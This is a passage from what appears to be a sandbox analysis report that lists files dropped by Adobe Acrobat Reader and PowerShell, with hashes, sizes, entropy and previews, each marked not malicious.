SHA-256:	BB231EF01F34C63CBBBEE9DBE5818A034249188AC3CE00902B30D2133F0E6F9D
SHA-512:	879514E12F1355021467B3ABFBB053676DFE8031D2059352688F8062CF77284869E9DDA997F1593315D2F7ACB9EE28A983DE3581C517558F4E17E35ADAE09344
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a23c9b7b-c678-4a23-858d-a58858d5d043","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752865264,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666381870308753
Encrypted:	false
SSDEEP:	24:Yv6Xr3zvKamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSf:YvcsBgkDMUJUAh8cvMf
MD5:	94FE587E7AF88C725F51382C84D592A8
SHA1:	BF89DC4306055AD4B135508AD2A4ECAF16434700
SHA-256:	DEC227EDE21D4BEDEB93A35DDD42850EB8FE355290AAE3544D1A3262A02AE789
SHA-512:	DBDFDE45BF07AF7E46CCB35FE6FF6380925646663D77506936162530A6E1BF7EB259300A322355D1CA0859CA748AADD2C3D0344905425A0919475B3EBF8687BB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a23c9b7b-c678-4a23-858d-a58858d5d043","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752865264,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.267151053409089
Encrypted:	false
SSDEEP:	6:YEQXJ2HXX0BpxscHVoZcg1vRcR0Y/ieoAvJfshHHrPeUkwRe9:YvXKXYs3Zc0vRGUUUkee9
MD5:	F06E6E93FDCFBC485548A580B84E776A
SHA1:	D8F942B7B8C1830A7C241EAFC8040F47AF426CBB
SHA-256:	5B870B5D6F5832B388B6E0B44F35C789FF4B887E11DECD41AFD9E246C2CEFA3A
SHA-512:	9059EB581A50AB0D8B571959C918CD2FA4A111468191D1F0593E07A3C57070E099D8228672246113351B34C76832ECEFD00B65319C4FC937EE9D39F12BA94C38
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a23c9b7b-c678-4a23-858d-a58858d5d043","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752865264,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.277149598949282
Encrypted:	false
SSDEEP:	6:YEQXJ2HXX0BpxscHVoZcg1vRcR0Y/ieoAvJTqgFCrPeUkwRe9:YvXKXYs3Zc0vRGTq16Ukee9
MD5:	752BB8F51D486AA3361FD2995F94CE05
SHA1:	6230E7B7A19E239444D3D74FD2709B3B2F377DDE
SHA-256:	A99BAE8EB4834DB7B99A984AD94240661DD187B057A56256382F0AB552AFF1D1
SHA-512:	33FA13A87A0FC8153C356675C0D8D7676D165C89AA87FB7E86BB819468AD29AB8F84AADF2146156A7101D1B67C777AB8EF5425B5D29764116906E817CBA1A185
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a23c9b7b-c678-4a23-858d-a58858d5d043","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752865264,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.142351375214087
Encrypted:	false
SSDEEP:	24:YsB1kanumayyQS2J36r4BXrpA4kjoj0SERJw22902LS2CQDefUC5mn9zuJFOG:YgZhBJ36r47Adq/b904PDe94n9U
MD5:	DF9E7B3A10F3C6D1FBF0B0B7B9B26666
SHA1:	FDE015633218CB5FB543AB04B82E2A9EB372DB1C
SHA-256:	3B572487F7D0AB0698551C3F26ABBC297847CF85C5D93DDDDCF2B2A0ADFAB5AE
SHA-512:	769456DEC978A0C2C5DF4BD14C29967085E8785695262C29AAF7F71E83D4C7E63ADAD84BDFF6B176C5C7C579C78FB964201EFBE73426ACA3A38F1A114D76AC7A
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"db6449753551cafe9ab754009dbabfae","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736574305000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"b88d7c355be2c171a881626db21ce96b","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736574305000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"1d2d0419073c3c392e57db2ce824b42c","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736574305000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"cf39a8dc8e3de5727ca29fd6ffadd519","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736574305000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"231817313aadc01a24b473f897337845","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736574305000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"f8c55ff610b92281484a7c08bbf04975","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1887555165272339
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUvFSvR9H9vxFGiDIAEkGVvpzx:lNVmswUUUUUUUUvF+FGSItvx
MD5:	0F53581CC2A4F40FEBA359B76CA1C155
SHA1:	A88D10823B84C5096D8283C9A384AA09B1C36508
SHA-256:	F641B05DD00597294D4C4FEE25CF8C4DEC448C622761A1699CEDFB94146E0DB1
SHA-512:	628EC5876CCC25D69EF853E452A58E67D44B5904198CD3299DE635D108CAEBD4238EE0B2FB471A424DF00B5BD09C2E3F90E38F87290721C213A7E8A24D8C3B6D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.607368992694547
Encrypted:	false
SSDEEP:	48:7MXKUUUUUUUUUUvdvR9H9vxFGiDIAEkGVvIqFl2GL7msz:7xUUUUUUUUUUvZFGSItyKVmsz
MD5:	91BED4574158CE256A7DF835E849F04A
SHA1:	2A527934A5A412CFC579AC268CF20E2870692F70
SHA-256:	257217CE519ED219CD192B1993BA3F117E2FC729CC31A9A1F7EFF073E0FF4781
SHA-512:	B09CF25007DA9754006A82D13A1EA89181F3A0F59B6F688F4F7FFEA21E7A15AFF38EC519EB780987D680E1217D2003DDEE24AAA0297F040175F7D437ED4C0CAD
Malicious:	false
Preview:	.... .c........*......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgzcbzmXf/pB/M6Xn7cw/j6czhYyu:6a6TZ44ADEDHp1Mcn7cmjNK
MD5:	75A7CA833B1F74D070EEEC9FB57D4F2A
SHA1:	50B1DE029D48491B7255900C1A3EC9D9DCF91D3F
SHA-256:	59EA6CF686EA7C2BE6835FB2885ECC8B3D2516F3187EF459683E361FB50ACEBD
SHA-512:	38387C444D870798D809625D786806D736EFF40BFE1EDB6A8739CB9BC73FDDD650E915BDD1B2F54999141511B29A3CEAF68DD2B4D6AF948F31B0F9B1CAB84DD1
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI789f7.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Clcl:Qw946cPbiOxDlbYnuRKdL
MD5:	11A393EDABD82219E9BB123D091D6491
SHA1:	312281F861F4504AAC1B347F29A13C9CA9793935
SHA-256:	BF3E76004B662E779699E2F5DD6C0FC94BC7F1D1D09B0AD4BA7D855FA1473351
SHA-512:	E8BD6504242E24797F03BE0B193176678D03C626BAC3DCD60A4F7C4E6426966B95EBA6C3EBA2A8162321DD442D61759EE804091317658375A9E88A62C4CB063C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.4.5.:.0.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g3xcizxg.uh2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lbhnrzrr.clk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-45-00-298.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.302025779535853
Encrypted:	false
SSDEEP:	384:dTRGEi1bK9UuNPgCP0nGKodUgrifhkA0yZh9yuij7Acee8MgCgagJgFLg8gfg8gP:Met
MD5:	7A4F52C3620AFED5BE9DD4DD1DF45E2B
SHA1:	F7667FBF77546199378C7066E849A5F260425BA3
SHA-256:	7485CC8FC5CEE59BF0D713ADD5F82CCB810A4445B0F916BCA12EC130A5007B41
SHA-512:	5E3556A5D7F0872B0DFF4144FE5EE868B7274DFD0EE3FCB592EEC0D7CFCFDDF7BA2B0BD6D3970898EEA62D3B9A543D9273E44E30BE1F79C58FC701B66AADEB6E
Malicious:	false
Preview:	SessionID=1ea77cf7-6048-4089-8e5e-20123073747c.1736574300342 Timestamp=2025-01-11T00:45:00:342-0500 ThreadID=7584 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=1ea77cf7-6048-4089-8e5e-20123073747c.1736574300342 Timestamp=2025-01-11T00:45:00:352-0500 ThreadID=7584 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=1ea77cf7-6048-4089-8e5e-20123073747c.1736574300342 Timestamp=2025-01-11T00:45:00:352-0500 ThreadID=7584 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=1ea77cf7-6048-4089-8e5e-20123073747c.1736574300342 Timestamp=2025-01-11T00:45:00:352-0500 ThreadID=7584 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=1ea77cf7-6048-4089-8e5e-20123073747c.1736574300342 Timestamp=2025-01-11T00:45:00:357-0500 ThreadID=7584 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.382318059435761
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rZ:4k
MD5:	36500E4B0632AEC4B894D92585C22032
SHA1:	4B2A7363FAD8627877490EDEDABE7ADCD61E2911
SHA-256:	B8DDCAC841E2C1203EE90B2CF600AA7744121CADA39F6FE9E77A7E71A6826AA5
SHA-512:	F40C99DA8EFB4E89FDB6EE6D774CBE38680CDA968ADAB6378007F9B08806A178F603A39B328F21276430EDB3E0E65B23D76F90E1BD67AF1263E411615A15BD62
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1127615f-821a-4c04-a1b4-1377c7c0c6fc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4aa635bb-41de-4a55-8743-5b48eb9d1c2e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e16f180d-6dbc-4929-92ce-c94717c28163.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPgeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JTwZG/WLxYGZN3mlind9i4ufFXpAXkru
MD5:	DAB0D55487947A8C00DEFEB1863E5D52
SHA1:	CA21AE7C3A6C3B75C5FEE6CC45E57F4F8E9AAD6A
SHA-256:	915AF8947C717264BA12E43919E2AED3846C3C312EE46DFEE18A7F40BE119623
SHA-512:	A6C1268A6C488495C2D07A90F498014192501A27D4A597C20644F5C95D3E4A7777D8E884F13DA9933B8D5C399499C98BDE94988467F79BF11B4391869ACFAF17
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\fb96fbca-ab8b-4e3f-a36c-d9754efe873c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
